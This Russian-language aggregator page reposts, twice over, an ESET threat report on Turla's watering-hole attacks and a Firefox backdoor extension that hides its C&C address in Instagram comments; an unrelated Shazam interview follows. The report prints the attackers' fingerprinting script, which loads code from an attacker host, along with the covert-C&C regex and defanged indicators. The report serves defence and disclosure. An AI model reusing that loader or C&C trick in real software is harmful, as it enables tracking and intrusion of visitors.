Скрипт скачивает JS библиотеку под названием PluginDetect, которая может собирать информацию о плагинах, установленных в браузере. Затем собранная информация пересылается на C&C-сервер.

Кроме того, скрипт пытается установить evercookie, которые будут отслеживать активность пользователя в браузере по всем сайтам.

Для тех, кто знаком с watering hole атаками Turla, очевидно, что хакеры продолжают использовать проверенные методы.

Расширение для Firefox


Вероятно, некоторые помнят отчет Pacifier APT, описывающий целевую фишинговую атаку при помощи вредоносного документа Word, который рассылался в учреждения по всему миру. Далее в систему загружался бэкдор, и сейчас мы знаем, что речь о Skipper, бэкдоре первого этапа группы Turla.

В отчете также описывается расширение для Firefox, загружаемое тем же типом вредоносного документа. И, похоже, мы обнаружили новую версию этого расширения. Это JavaScript бэкдор, отличающийся по реализации от того, что описан в отчете Pacifier APT, но со схожим функционалом.



Вредоносное расширение HTML5 Encoding распространялось через скомпрометированный сайт швейцарской компании. Это простой бэкдор, который, тем не менее, отличается интересным способом обращения к C&C-серверу.

Использование Instagram


HTML5 Encoding использует для доступа к C&C-серверу короткий URL bit.ly, но адрес URL в его коде отсутствует. Расширение получает адрес из комментариев к определенным постам в Instagram. В нашем примере это был комментарий к фото Бритни Спирс в официальном аккаунте.


www.instagram.com/p/BO8gU41A45g

Расширение изучает каждый комментарий к фотографии и вычисляет индивидуальное значение хеша. Если значение совпадет с числом 183, расширение исполнит регулярное выражение с целью получения адреса URL bit.ly:

(?:\\u200d(?:#|@)(\\w)

В комментариях к фото был только один с хеш-суммой 183 – от 6 февраля, в то время как фото было выложено в начале января. Взяв комментарий и пропустив его через regex, получаем следующую ссылку bit.ly: bit.ly/2kdhuHX

При детальном изучении регулярного выражения мы видим, что оно ищет либо @|#, либо юникод-символ \200d – невидимый символ Zero Width Joiner, джойнер нулевой ширины, который обычно используют для разделения эмодзи. Скопировав комментарий или изучив его источник, можно увидеть Zero Width Joiner перед каждым символом адресной строки:
smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X

При переходе по короткой ссылке мы попадаем на static.travelclothes.org/dolR_1ert.php. Этот адрес использовался в прошлых атаках watering hole группы Turla.

Для ссылки bit.ly можно получить статистику переходов:



В феврале зафиксировано всего 17 переходов, которые примерно совпадают по времени с публикацией комментария. Незначительное количество переходов может указывать на тестовый характер атак.

Технический анализ


Расширение для Firefox выполняет функции простого бэкдора. Оно собирает информацию о системе и передает эти данные, зашифрованные при помощи AES, на C&C-сервер. Похоже на описание расширения, о котором говорится в отчете по Pacifier APT.

Бэкдор-компонент может запускать четыре разных типа команд:

  • Исполнить произвольный файл
  • Загрузить файл на сервер C&C
  • Скачать файл с сервера C&C
  • Прочитать содержимое директории – переслать список файлов с размерами и датами на сервер C&C

По нашим оценкам, атаки пока проводятся в тестовом режиме. Следующая версия расширения, если она когда-либо появится, будет значительно отличаться от нынешней. Есть несколько API, используемых расширением, которые исчезнут в будущих версиях Firefox. Их можно использовать только в виде дополнений, потому что их место начиная с версии Firefox 57 займут WebExtensions. Начиная с этой версии и выше Firefox больше не будет загружать дополнения, что исключает использование этих API.

Вывод


Факт использования социальных сетей для получения адреса C&C-сервера довольно примечателен. Помимо Turla, такой подход применяют и другие группировки, включая Dukes.
Использование социальных сетей – дополнительная сложность для построения защиты. Во-первых, трафик от соцсетей, связанный с деятельностью злоумышленников, сложно отличить от легитимного. Во-вторых, метод обеспечивает хакерам большую гибкость – можно легко менять адреса C&C-серверов и удалять их следы.

Интересно наблюдать, как хакеры Turla снова применяют старый метод использования цифровых отпечатков, а также ищут новые способы усложнить обнаружение C&C-серверов.

Задать дополнительные вопросы исследователям или передать образцы вредоносного ПО, связанные с деятельностью группы Turla, можно по электронной почте threatintel@eset.com.
Благодарим Clement Lecigne из группы Google’s Threat Analysis Group за помощь в исследовании.


Индикаторы заражения (IoCs)


Хеш расширения для Firefox:

html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680


Cкомпрометированные сайты, перенаправляющие на серверы цифровых отпечатков (на момент написания отчета были либо легитимны, либо вели на нерабочие серверы):

hxxp://www.namibianembassyusa.org
hxxp://www.avsa.org
hxxp://www.zambiaembassy.org
hxxp://russianembassy.org
hxxp://au.int
hxxp://mfa.gov.kg
hxxp://mfa.uz
hxxp://www.adesyd.es
hxxp://www.bewusstkaufen.at
hxxp://www.cifga.es
hxxp://www.jse.org
hxxp://www.embassyofindonesia.org
hxxp://www.mischendorf.at
hxxp://www.vfreiheitliche.at
hxxp://www.xeneticafontao.com
hxxp://iraqiembassy.us
hxxp://sai.gov.ua
hxxp://www.mfa.gov.md
hxxp://mkk.gov.kg


Скомпрометированные сайты, используемые в качестве C&C-серверов первого этапа в кампании watering hole:

hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
hxxp://www.mentalhealthcheck.net/script/pde.js
hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
hxxp://rss.nbcpost.com/news/today/content.php
hxxp://static.travelclothes.org/main.js
hxxp://msgcollection.com/templates/nivoslider/loading.php
hxxp://versal.media/?atis=509
hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
hxxp://alessandrosl.com/core/modules/mailer/mailer.php
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330446/


Метки:  

Киберкампания watering hole от Turla: обновленное расширение для Firefox использует Instagram

Четверг, 08 Июня 2017 г. 12:04 + в цитатник
Некоторые схемы АРТ-атак не меняются годами. Например, атаки watering hole в исполнении кибергруппы Turla. Эта группировка специализируется на кибершпионаже, ее основные цели – правительственные и дипломатические учреждения. Схему watering hole хакеры используют для перенаправления потенциальных жертв на свою C&C-инфраструктуру как минимум с 2014 года, иногда внося небольшие изменения в принцип работы.



Мы в ESET следим за кампаниями Turla и недавно обнаружили, что хакеры вернулись к использованию метода, заброшенного на несколько месяцев.

Начальные этапы компрометации


Ниже в разделе с индикаторами заражения есть список сайтов, которые Turla использовали в атаках watering hole в прошлом. Что характерно для этой группировки, в списке много сайтов, связанных с посольствами разных стран.

Переадресация осуществляется благодаря фрагменту кода, который хакеры добавляют к оригинальной странице. Скрипты, которые мы обнаружили за последние несколько месяцев, выглядят следующим образом:



Примечательно, что хакеры добавили ссылку на Clicky – приложение для веб-аналитики. Вероятно, таким образом они создают видимость легитимности скрипта для неспециалиста, хотя само приложение в атаке не используется.

Добавленный скрипт вызывает другой скрипт по адресу mentalhealthcheck.net/update/counter.js. Этот сервер хакеры Turla используют для отправки жертвам скриптов цифровых отпечатков, которые собирают информацию о системе, в которой запущены. Похожим образом использовалась ссылка на скрипт Google Analytics, но в последнее время мы чаще видим Clicky. В разделе с индикаторами заражения вы найдете список C&C-серверов, которые мы обнаружили в последние месяцы. Это первоначально легитимные серверы, которые были заражены.

Следующий этап – доставка цифровых отпечатков JavaScript потенциальным жертвам. Для этого C&C-сервер фильтрует посетителей по IP-адресам. Если посетитель входит в диапазон целевых IP-адресов, он получит скрипт цифровых отпечатков, если нет – безвредный скрипт. Ниже выдержка из скрипта, который получают целевые пользователи:

function cb_custom() {
    loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}

function cb_custom1() {
    PluginDetect.getVersion('.');

    myResults['Java']=PluginDetect.getVersion('Java');
    myResults['Flash']=PluginDetect.getVersion('Flash');
    myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
    myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');

    var ec = new evercookie();
    ec.get('thread', getCookie)

Скрипт скачивает JS библиотеку под названием PluginDetect, которая может собирать информацию о плагинах, установленных в браузере. Затем собранная информация пересылается на C&C-сервер.

Кроме того, скрипт пытается установить evercookie, которые будут отслеживать активность пользователя в браузере по всем сайтам.

Для тех, кто знаком с watering hole атаками Turla, очевидно, что хакеры продолжают использовать проверенные методы.

Расширение для Firefox


Вероятно, некоторые помнят отчет Pacifier APT, описывающий целевую фишинговую атаку при помощи вредоносного документа Word, который рассылался в учреждения по всему миру. Далее в систему загружался бэкдор, и сейчас мы знаем, что речь о Skipper, бэкдоре первого этапа группы Turla.

В отчете также описывается расширение для Firefox, загружаемое тем же типом вредоносного документа. И, похоже, мы обнаружили новую версию этого расширения. Это JavaScript бэкдор, отличающийся по реализации от того, что описан в отчете Pacifier APT, но со схожим функционалом.



Вредоносное расширение HTML5 Encoding распространялось через скомпрометированный сайт швейцарской компании. Это простой бэкдор, который, тем не менее, отличается интересным способом обращения к C&C-серверу.

Использование Instagram


HTML5 Encoding использует для доступа к C&C-серверу короткий URL bit.ly, но адрес URL в его коде отсутствует. Расширение получает адрес из комментариев к определенным постам в Instagram. В нашем примере это был комментарий к фото Бритни Спирс в официальном аккаунте.


www.instagram.com/p/BO8gU41A45g

Расширение изучает каждый комментарий к фотографии и вычисляет индивидуальное значение хеша. Если значение совпадет с числом 183, расширение исполнит регулярное выражение с целью получения адреса URL bit.ly:

(?:\\u200d(?:#|@)(\\w)

В комментариях к фото был только один с хеш-суммой 183 – от 6 февраля, в то время как фото было выложено в начале января. Взяв комментарий и пропустив его через regex, получаем следующую ссылку bit.ly: bit.ly/2kdhuHX

При детальном изучении регулярного выражения мы видим, что оно ищет либо @|#, либо юникод-символ \200d – невидимый символ Zero Width Joiner, джойнер нулевой ширины, который обычно используют для разделения эмодзи. Скопировав комментарий или изучив его источник, можно увидеть Zero Width Joiner перед каждым символом адресной строки:
smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X

При переходе по короткой ссылке мы попадаем на static.travelclothes.org/dolR_1ert.php. Этот адрес использовался в прошлых атаках watering hole группы Turla.

Для ссылки bit.ly можно получить статистику переходов:



В феврале зафиксировано всего 17 переходов, которые примерно совпадают по времени с публикацией комментария. Незначительное количество переходов может указывать на тестовый характер атак.

Технический анализ


Расширение для Firefox выполняет функции простого бэкдора. Оно собирает информацию о системе и передает эти данные, зашифрованные при помощи AES, на C&C-сервер. Похоже на описание расширения, о котором говорится в отчете по Pacifier APT.

Бэкдор-компонент может запускать четыре разных типа команд:

  • Исполнить произвольный файл
  • Загрузить файл на сервер C&C
  • Скачать файл с сервера C&C
  • Прочитать содержимое директории – переслать список файлов с размерами и датами на сервер C&C

По нашим оценкам, атаки пока проводятся в тестовом режиме. Следующая версия расширения, если она когда-либо появится, будет значительно отличаться от нынешней. Есть несколько API, используемых расширением, которые исчезнут в будущих версиях Firefox. Их можно использовать только в виде дополнений, потому что их место начиная с версии Firefox 57 займут WebExtensions. Начиная с этой версии и выше Firefox больше не будет загружать дополнения, что исключает использование этих API.

Вывод


Факт использования социальных сетей для получения адреса C&C-сервера довольно примечателен. Помимо Turla, такой подход применяют и другие группировки, включая Dukes.
Использование социальных сетей – дополнительная сложность для построения защиты. Во-первых, трафик от соцсетей, связанный с деятельностью злоумышленников, сложно отличить от легитимного. Во-вторых, метод обеспечивает хакерам большую гибкость – можно легко менять адреса C&C-серверов и удалять их следы.

Интересно наблюдать, как хакеры Turla снова применяют старый метод использования цифровых отпечатков, а также ищут новые способы усложнить обнаружение C&C-серверов.

Задать дополнительные вопросы исследователям или передать образцы вредоносного ПО, связанные с деятельностью группы Turla, можно по электронной почте threatintel@eset.com.
Благодарим Clement Lecigne из группы Google’s Threat Analysis Group за помощь в исследовании.


Индикаторы заражения (IoCs)


Хеш расширения для Firefox:

html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680


Cкомпрометированные сайты, перенаправляющие на серверы цифровых отпечатков (на момент написания отчета были либо легитимны, либо вели на нерабочие серверы):

hxxp://www.namibianembassyusa.org
hxxp://www.avsa.org
hxxp://www.zambiaembassy.org
hxxp://russianembassy.org
hxxp://au.int
hxxp://mfa.gov.kg
hxxp://mfa.uz
hxxp://www.adesyd.es
hxxp://www.bewusstkaufen.at
hxxp://www.cifga.es
hxxp://www.jse.org
hxxp://www.embassyofindonesia.org
hxxp://www.mischendorf.at
hxxp://www.vfreiheitliche.at
hxxp://www.xeneticafontao.com
hxxp://iraqiembassy.us
hxxp://sai.gov.ua
hxxp://www.mfa.gov.md
hxxp://mkk.gov.kg


Скомпрометированные сайты, используемые в качестве C&C-серверов первого этапа в кампании watering hole:

hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
hxxp://www.mentalhealthcheck.net/script/pde.js
hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
hxxp://rss.nbcpost.com/news/today/content.php
hxxp://static.travelclothes.org/main.js
hxxp://msgcollection.com/templates/nivoslider/loading.php
hxxp://versal.media/?atis=509
hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
hxxp://alessandrosl.com/core/modules/mailer/mailer.php
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330446/


Метки:  

Киберкампания watering hole от Turla: обновленное расширение для Firefox использует Instagram

Четверг, 08 Июня 2017 г. 12:04 + в цитатник
Некоторые схемы АРТ-атак не меняются годами. Например, атаки watering hole в исполнении кибергруппы Turla. Эта группировка специализируется на кибершпионаже, ее основные цели – правительственные и дипломатические учреждения. Схему watering hole хакеры используют для перенаправления потенциальных жертв на свою C&C-инфраструктуру как минимум с 2014 года, иногда внося небольшие изменения в принцип работы.



Мы в ESET следим за кампаниями Turla и недавно обнаружили, что хакеры вернулись к использованию метода, заброшенного на несколько месяцев.

Начальные этапы компрометации


Ниже в разделе с индикаторами заражения есть список сайтов, которые Turla использовали в атаках watering hole в прошлом. Что характерно для этой группировки, в списке много сайтов, связанных с посольствами разных стран.

Переадресация осуществляется благодаря фрагменту кода, который хакеры добавляют к оригинальной странице. Скрипты, которые мы обнаружили за последние несколько месяцев, выглядят следующим образом:



Примечательно, что хакеры добавили ссылку на Clicky – приложение для веб-аналитики. Вероятно, таким образом они создают видимость легитимности скрипта для неспециалиста, хотя само приложение в атаке не используется.

Добавленный скрипт вызывает другой скрипт по адресу mentalhealthcheck.net/update/counter.js. Этот сервер хакеры Turla используют для отправки жертвам скриптов цифровых отпечатков, которые собирают информацию о системе, в которой запущены. Похожим образом использовалась ссылка на скрипт Google Analytics, но в последнее время мы чаще видим Clicky. В разделе с индикаторами заражения вы найдете список C&C-серверов, которые мы обнаружили в последние месяцы. Это первоначально легитимные серверы, которые были заражены.

Следующий этап – доставка цифровых отпечатков JavaScript потенциальным жертвам. Для этого C&C-сервер фильтрует посетителей по IP-адресам. Если посетитель входит в диапазон целевых IP-адресов, он получит скрипт цифровых отпечатков, если нет – безвредный скрипт. Ниже выдержка из скрипта, который получают целевые пользователи:

function cb_custom() {
    loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}

function cb_custom1() {
    PluginDetect.getVersion('.');

    myResults['Java']=PluginDetect.getVersion('Java');
    myResults['Flash']=PluginDetect.getVersion('Flash');
    myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
    myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');

    var ec = new evercookie();
    ec.get('thread', getCookie)

Скрипт скачивает JS библиотеку под названием PluginDetect, которая может собирать информацию о плагинах, установленных в браузере. Затем собранная информация пересылается на C&C-сервер.

Кроме того, скрипт пытается установить evercookie, которые будут отслеживать активность пользователя в браузере по всем сайтам.

Для тех, кто знаком с watering hole атаками Turla, очевидно, что хакеры продолжают использовать проверенные методы.

Расширение для Firefox


Вероятно, некоторые помнят отчет Pacifier APT, описывающий целевую фишинговую атаку при помощи вредоносного документа Word, который рассылался в учреждения по всему миру. Далее в систему загружался бэкдор, и сейчас мы знаем, что речь о Skipper, бэкдоре первого этапа группы Turla.

В отчете также описывается расширение для Firefox, загружаемое тем же типом вредоносного документа. И, похоже, мы обнаружили новую версию этого расширения. Это JavaScript бэкдор, отличающийся по реализации от того, что описан в отчете Pacifier APT, но со схожим функционалом.



Вредоносное расширение HTML5 Encoding распространялось через скомпрометированный сайт швейцарской компании. Это простой бэкдор, который, тем не менее, отличается интересным способом обращения к C&C-серверу.

Использование Instagram


HTML5 Encoding использует для доступа к C&C-серверу короткий URL bit.ly, но адрес URL в его коде отсутствует. Расширение получает адрес из комментариев к определенным постам в Instagram. В нашем примере это был комментарий к фото Бритни Спирс в официальном аккаунте.


www.instagram.com/p/BO8gU41A45g

Расширение изучает каждый комментарий к фотографии и вычисляет индивидуальное значение хеша. Если значение совпадет с числом 183, расширение исполнит регулярное выражение с целью получения адреса URL bit.ly:

(?:\\u200d(?:#|@)(\\w)

В комментариях к фото был только один с хеш-суммой 183 – от 6 февраля, в то время как фото было выложено в начале января. Взяв комментарий и пропустив его через regex, получаем следующую ссылку bit.ly: bit.ly/2kdhuHX

При детальном изучении регулярного выражения мы видим, что оно ищет либо @|#, либо юникод-символ \200d – невидимый символ Zero Width Joiner, джойнер нулевой ширины, который обычно используют для разделения эмодзи. Скопировав комментарий или изучив его источник, можно увидеть Zero Width Joiner перед каждым символом адресной строки:
smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X

При переходе по короткой ссылке мы попадаем на static.travelclothes.org/dolR_1ert.php. Этот адрес использовался в прошлых атаках watering hole группы Turla.

Для ссылки bit.ly можно получить статистику переходов:



В феврале зафиксировано всего 17 переходов, которые примерно совпадают по времени с публикацией комментария. Незначительное количество переходов может указывать на тестовый характер атак.

Технический анализ


Расширение для Firefox выполняет функции простого бэкдора. Оно собирает информацию о системе и передает эти данные, зашифрованные при помощи AES, на C&C-сервер. Похоже на описание расширения, о котором говорится в отчете по Pacifier APT.

Бэкдор-компонент может запускать четыре разных типа команд:

  • Исполнить произвольный файл
  • Загрузить файл на сервер C&C
  • Скачать файл с сервера C&C
  • Прочитать содержимое директории – переслать список файлов с размерами и датами на сервер C&C

По нашим оценкам, атаки пока проводятся в тестовом режиме. Следующая версия расширения, если она когда-либо появится, будет значительно отличаться от нынешней. Есть несколько API, используемых расширением, которые исчезнут в будущих версиях Firefox. Их можно использовать только в виде дополнений, потому что их место начиная с версии Firefox 57 займут WebExtensions. Начиная с этой версии и выше Firefox больше не будет загружать дополнения, что исключает использование этих API.

Вывод


Факт использования социальных сетей для получения адреса C&C-сервера довольно примечателен. Помимо Turla, такой подход применяют и другие группировки, включая Dukes.
Использование социальных сетей – дополнительная сложность для построения защиты. Во-первых, трафик от соцсетей, связанный с деятельностью злоумышленников, сложно отличить от легитимного. Во-вторых, метод обеспечивает хакерам большую гибкость – можно легко менять адреса C&C-серверов и удалять их следы.

Интересно наблюдать, как хакеры Turla снова применяют старый метод использования цифровых отпечатков, а также ищут новые способы усложнить обнаружение C&C-серверов.

Задать дополнительные вопросы исследователям или передать образцы вредоносного ПО, связанные с деятельностью группы Turla, можно по электронной почте threatintel@eset.com.
Благодарим Clement Lecigne из группы Google’s Threat Analysis Group за помощь в исследовании.


Индикаторы заражения (IoCs)


Хеш расширения для Firefox:

html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680


Cкомпрометированные сайты, перенаправляющие на серверы цифровых отпечатков (на момент написания отчета были либо легитимны, либо вели на нерабочие серверы):

hxxp://www.namibianembassyusa.org
hxxp://www.avsa.org
hxxp://www.zambiaembassy.org
hxxp://russianembassy.org
hxxp://au.int
hxxp://mfa.gov.kg
hxxp://mfa.uz
hxxp://www.adesyd.es
hxxp://www.bewusstkaufen.at
hxxp://www.cifga.es
hxxp://www.jse.org
hxxp://www.embassyofindonesia.org
hxxp://www.mischendorf.at
hxxp://www.vfreiheitliche.at
hxxp://www.xeneticafontao.com
hxxp://iraqiembassy.us
hxxp://sai.gov.ua
hxxp://www.mfa.gov.md
hxxp://mkk.gov.kg


Скомпрометированные сайты, используемые в качестве C&C-серверов первого этапа в кампании watering hole:

hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
hxxp://www.mentalhealthcheck.net/script/pde.js
hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
hxxp://rss.nbcpost.com/news/today/content.php
hxxp://static.travelclothes.org/main.js
hxxp://msgcollection.com/templates/nivoslider/loading.php
hxxp://versal.media/?atis=509
hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
hxxp://alessandrosl.com/core/modules/mailer/mailer.php
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330446/


Метки:  

Интервью с Джошем Патриджем (Shazam) про маркетинг, бизнес, стратегию и новые продукты

Четверг, 08 Июня 2017 г. 11:54 + в цитатник
На конференции MBLT 2017 основатель Mobio Алексей Писаревский взял интервью у Джоша Патриджа (Josh Partridge), вице-президента Shazam по странам EMEA, Латинской Америки и Канады.





Джош рассказал о стратегии Shazam в мире, интеграции со Snapchat, Shazam Codes, как альтернативе QR-кодам, визуальном распозновании изображений Shazam Visuam, Shazam AR и о многом-много другом. В видео присутствуют русские субтитры, а под катом можно прочитать текстовую расшифровку.


В своей презентации ты рассказал про Shazam для брендов, этот сервис доступен в 50-60 странах. Как справляетесь с такой географией? Чтобы продавать брендам, нужны продажники, офисы на местах.

Ну, мы практикуем пару подходов. У нас есть команды на местах: офисы в США, Великобритании, а недавно мы открыли офис в Берлине. В других странах мы работаем через местных партнёров. В России, например, это компания Brainrus. Их сотрудники разговаривают с медиа-агентствами, выясняют, как бренды могут использовать рекламные возможности Shazam, наши технологии и доступ к аудитории.

Какой рекламный формат наиболее востребован брендами?

Мы предлагаем традиционную баннерную рекламу в нашем приложении. Есть ещё Shazam Connect, решение, позволяющее использовать наши технологии распознавания и задействовать в подаче рекламного сообщения «второй экран». Работает в связке с рекламой и контентом, транслируемым по ТВ. Кроме того, мы недавно запустили распознавание образов (Visual Shazam), так что теперь можно «шазамить» изображения.


(Рекламная кампания с Кока-Кола, источник: www.shazam.com)

Пример работы в России — недавнее сотрудничество с Nescafe, в рамках которого мы настроили распознавание видео выступлений танцоров, которые соревновались в большом танцевальном реалити-шоу. Зрители могли «шазамить» танцы и получать дополнительную информацию. Проект длился 10 недель, за это время зрители воспользовались фичей более полумиллиона раз.


Рекламная кампания с Макдонадс, источник: www.shazam.com

С точки зрения продаж брендам, какие страны имеют наибольшее значение? За исключением США, конечно.

У нас есть пользователи в 190 странах, работа на такой обширной географии — сложная задача для небольшой компании. Поэтому мы ведём активную деятельность на примерно 45 из этих рынков. В Северной и Южной Америке есть хороший объём, также можно говорить о больших рынках в Европе: Великобритания, Франция, Германия, Италия, Испания. Это основа нашего бизнеса. Россия тоже имеет для нас большое значение.

Кстати, интересный факт о России: я начал работать в Shazam три года назад, и тогда Россия не входила в топ-20 наших рынков. Но за последние полтора года ваша страна вошла в топ-5.

С точки зрения размера аудитории?

Да, по количеству пользователей.

Но не по выручке, я думаю. Этого ещё не случилось.

Да, вы правы. Сначала — пользователи, потом — всё остальное. Мы активно работаем в России вот уже год, и результаты получаем очень хорошие. Темпы развития нам очень нравятся.

А как дела обстоят на развивающихся рынках? В Африке, например.

У нас всё очень неплохо в ЮАР. В Африке, как вы понимаете, проблема в распространенности смартфонов. В ЮАР с этим порядок, равно как и в Нигерии. В других африканских странах ситуация похуже. Но, очевидно, Северная Африка и Ближний Восток нам интересны, мы там активно работаем.

Сложно ли продавать интеграцию брендам? Насколько я понимаю, это длительный процесс, каждая интеграция — отдельный проект, так?

Хороший вопрос. У нас есть разные рекламные продукты, некоторые из них, как вы верно отметили, — отдельные проекты, и их продажа требует больше времени. Но у нас также есть и готовые решения. То есть и сложные форматы, и простые, «коробочные». Это позволяет нам начинать с малого и потом предлагать более специализированные решения по мере роста нашего присутствия на рынке.

Думаю, мы можем быстро и просто решать две задачи: объяснять клиенту, что такое Shazam и как наши технологии могут помочь ему установить контакт с потребителем. Shazam — звено, связывающее музыку и мобильное устройство. Благодаря технологиям распознавания музыки и визуальных образов мы даём брендам возможность «попасть» в мобильное устройство потребителя через их рекламу на ТВ, в печатных изданиях, упаковку продуктов.

Планируете ли вы открыть новые офисы продаж?

Конечно! Офис в Германии мы открыли в этом месяце, команда там соберётся в течение апреля – июня, так что к середине года это подразделение начнёт полноценную работу. Планируем открыть офисы и в других странах. Тут дело в том, что расти нам надо ответственно, мы небольшая компания, поэтому всегда ищем прибыль. Но расширение, конечно, наш приоритет.

Недавно вы объявили о партнёрстве с DanAds, платформой для паблишеров, которая позволяет клиентам закупать рекламу самостоятельно. Значит ли это, что скоро в Shazam рекламодатели будут самостоятельно закупать рекламу?

Сейчас об этом рано говорить. Сделка с DanAds была заключена в контексте нашей работы с лейблами. Лейблы — Sony, Universal, Warner, некоторые менее крупные звукозаписывающие компании — любят продвигать новые альбомы, синглы. Мы даём им доступ к этой платформе, там они настраивают свои кампании так, как им требуется, с учётом всех таргетинговых критериев. Так что здесь речь больше идёт о наших отношениях с лейблами.

А что есть для более традиционных рекламодателей, скажем, разработчиков приложений?

Мы с удовольствием работаем с агентствами, выполняем «традиционные» заказы. Кроме того, мы активно сотрудничаем с рекламными биржами. То есть купить рекламу в Shazam можно любым удобным для рекламодателя способом. Хотите — через биржу, хотите — через наши офисы продаж.

А платформу, позволяющую разработчикам приложений самостоятельно выкупать у вас рекламные места, запускать не планируете?

Не сейчас. На данном этапе, мы фокусируемся на работе с лейблами. Бренды уже имеют доступ к нашим рекламным форматам. Та система, о которой ты говоришь, она как бы уже есть, только реализована программатик-площадками. При этом, есть и специфические форматы рекламы, которые можно купить только напрямую у нас.

Скажите, почему у Shazam до сих пор нет настоящих конкурентов? В чём секрет? У вас уникальная технология, или же вы просто были первыми на этом рынке?

Думаю, тут работает пара факторов. В первую очередь, конечно, технология. Мы распознаем быстрее и точнее, чем кто-либо ещё.

И что, никто ничего подобного сделать не может?

Именно так. Мы лидеры на рынке распознавания музыки. Второй фактор — бренд. Слово Shazam уже часто используется как глагол, «шазамить», и люди знают, что это значит.

В общем, уникальная ситуация, плюс технология, плюс узнаваемость бренда и функции. «Шазамить» и получать результат — пользователи уже воспринимают этот процесс как магию. Всё это вместе делает наше приложение уникальным, поэтому мы и лидеры в своей сфере.

А почему Shazam не распознает песню, если я сам ее пою?

Shazam «заточен» на точность. Мы много сил тратим на развитие технологии, наращивание базы данных. Когда пользователь «шазамит» песню, он получает абсолютно достоверную информацию. Распознавание напетых мотивов не позволяет обеспечивать такую точность. В этом вопросе мы предпочитаем никогда не ошибаться и не выдавать предположения типа «похоже, вы спели такую-то песню».

Люди пользуются Shazam, потому что мы даём им достоверную информацию. В своей презентации я упоминал телешоу Beat Shazam, которое скоро начнётся в США. В этой передачи участники будут пытаться угадать песни быстрее нашего сервиса. Нам нравится идея. Эта передача — отличный способ усилить наш бренд. При этом, конечно, само возникновение идеи доказывает, что выдаваемые нами результаты невероятно точны.

Планируете ли вы запустить Beat Shazam в других странах?

В США передача выходит на канале Fox. Очевидно, запустить такое же шоу в других странах было бы здорово, но пока об этом речи не идёт. Шоу начинается летом, продюсерами выступили ребята, которые делали The Apprentice и Survivor. В частности, Марк Бернетт (Mark Burnett). Возможно, в других странах тоже сделаем что-то подобное, но пока шоу транслируется только в США.



В декабре прошлого года вы интегрировались со Snapchat. Можешь поделиться первыми результатами?
Пока всё на начальном этапе, интегрировались всего несколько месяцев назад. Мы активно пока не продвигали Shazam в Snapchat. Но результаты и без продвижения уже ошеломляют. Конкретно о цифрах ничего не могу сказать, но функцией распознавания музыки в Snapchat уже воспользовались миллионы раз. (Посмотреть как это работает можно здесь)

И это только начало, вместе со Snapchat в будущем мы наверняка сможем сделать ещё больше интересного.

Есть ли в планах интегрироваться с другими приложениями?

Да. Сейчас мы фокусируемся на интеграции для Samsung Smart TV, о которой было объявлено на конференции SXSW. На предстоящий год это наш приоритет. Ну и Snapchat, тоже очень большой проект. В данный момент, других планов нет, этих двух пока достаточно.

А как думаешь, почему QR-коды в итоге не стали популярными?

Я считаю, эта технология появилась преждевременно. Пять-шесть лет назад смартфоны ещё не были чем-то обыденным. Кроме того, в 2011-2012 годах рынок мобильных приложений был совсем небольшой, большинство пользователей ограничивались браузером на своих мобильных устройствах.

То есть и технологически, и идеологически рынок не был готов, люди тогда ещё не «погрузились в мобайл» с головой, как сегодня. Недавно мы, кстати, запустили Shazam Codes

Да, как раз хотел спросить вас, чем ваши коды лучше.

Тут можно говорить о двух причинах. Во-первых, сегодня люди используют смартфон как универсальное устройство, связующее всё и вся. Это важно.

Во-вторых, раньше никто не скачивал считыватель QR-кодов на свой смартфон. Мы же понимаем, что никто не хочет скачивать приложение для того, чтобы взаимодействовать с брендом. А коды Shazam будут работать потому, что у нас уже есть огромная база пользователей, они узнают лого Shazam и знают, что делает наше приложение.

В итоге: привычка в совокупности с необходимостью использования смартфонов и уже собранной аудиторией дает в результате масштабируемое решение, которое может быть полезно брендам.


(Shazam Code, источник: www.shazam.com)

Контент, распознаваемый Shazam, можно создавать бесплатно?

Shazam умеет считывать QR-коды, но если говорить о Shazam-кодах, это рекламный формат, так что бренды платят за его использование. В будущем всё может измениться, конечно. Но на данном этапе, мы фокусируемся на рекламном применении.

Много клиентов купили рекламу в этом формате?

Да! Перед Shazam Codes мы запустили Visual Shazam и начали работать с крупнейшими брендами. Например, в США мы сделали распознаваемыми 600 млн бутылок колы. Помимо Shazam Codes и Visual Shazam, мы сделали Shazam AR, так что в работу с визуальными образами мы вкладываемся серьёзно.

